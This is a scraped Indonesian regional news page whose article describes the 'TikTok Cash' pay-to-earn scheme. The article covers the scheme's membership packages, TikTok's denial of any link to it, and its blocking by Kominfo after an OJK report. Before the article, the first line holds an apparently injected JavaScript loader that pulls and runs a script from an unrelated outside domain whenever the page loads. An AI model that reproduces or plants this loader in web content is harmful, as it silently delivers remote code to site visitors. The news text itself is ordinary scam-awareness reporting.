(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Diblokir Kominfo, Ini 5 Fakta Tentang TikTok Cash


KANALKALIMANTAN.COM – Belakangan ini TikTok Cash tengah ramai dibicarakan, pemberitaannya kali ini berkaitan dengan uang yang dapat dihasilkan dari memainkannya. Adanya TikTok Cash memungkinkan seseorang mendapat uang hanya dengan melihat video-video di TikTok.

Namun apakah penggunaan TikTok Cash ini aman?

Modus TikTok Cash ini dimainkan dengan cara menyuruh pengguna untuk mengakses website TikTok cash lalu mengunduh aplikasi di sana. Setelah itu pengguna harus mengirim sejumlah uang untuk membeli paket dan pengguna akan diberikan sebuah tugas yakni membuka tautan yang mengarah ke TikTok.

Setelah itu pengguna akan diminta melakukan like, follow dan mengambil tangkapan layar untuk diunggah ke aplikasi.

Lantas sebenarnya sistem apakah yang digunakan TikTok Cash hingga membuat Kominfo memblokirnya? Supaya lebih tahu, yuk simak fakta-fakta tentang TikTok Cash berikut:

1. Menghasilkan uang

TikTok Cash menawarkan cara menghasilkan uang dengan mudah, cukup dengan mendaftar pada laman yang tersedia menggunakan nomor ponsel dan email, membeli paket keanggotaan dengan harga termurah dengan nama ‘pekerja sementara’ Rp 89.000 untuk 8 hari sampai paket ‘general manager’ seharga Rp 49.999.000 dengan masa keanggotaan satu tahun.

2. Tidak berhubungan dengan TikTok

Pihak dari TikTok telah mengkonfirmasi bahwa laman TikTok Cash tidak ada kaitannya dengan mereka. Mereka pun meminta penggunanya untuk lebih jeli dalam mempercayai suatu penawaran. Himbauan ini juga telah disampaikan melalui akun resmi Instagram Tiktok di @tiktokofficialindonesia

3. Diblokir pemerintah

Melihat skema yang ditawarkan TikTokCash, membuat Otoritas Jasa Keuangan (OJK) mencurigainya sebagai money game atau investasi bodong. Karenanya, OJK melaporkan secara resmi TikTok Cash ke Kominfo dan secara resmi telah terblokir sejak hari Rabu, 10 Februari 2021 lalu.

4. Sudah tidak dapat diakses

Meski sudah diblokir Kominfo, pada hari Kamis (11/2) lalu, laman tiktokecash.com masih bisa dibuka dengan pemberitahuan pada laman bahwa website mereka sedang diserang banyak pihak secara anonim. Untung saja pada Kamis siang, website serta seluruh media sosial TikTok Cash sudah berhasil diblokir sepenuhnya.

5. Banyak aplikasi serupa

China sempat diramaikan dengan aplikasi serupa bernama Zynn, meski memiliki sistem yang sama yaitu membayar pengguna dengan menonton video, namun Zynn tidak memungut biaya melainkan informasi pribadi penggunanya.

Itulah fakta-fakta tentang TikTok Cash, laman yang baru saja diblokir pemerintah. Selalu waspada ya!(Suara)

Editor : Suara

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.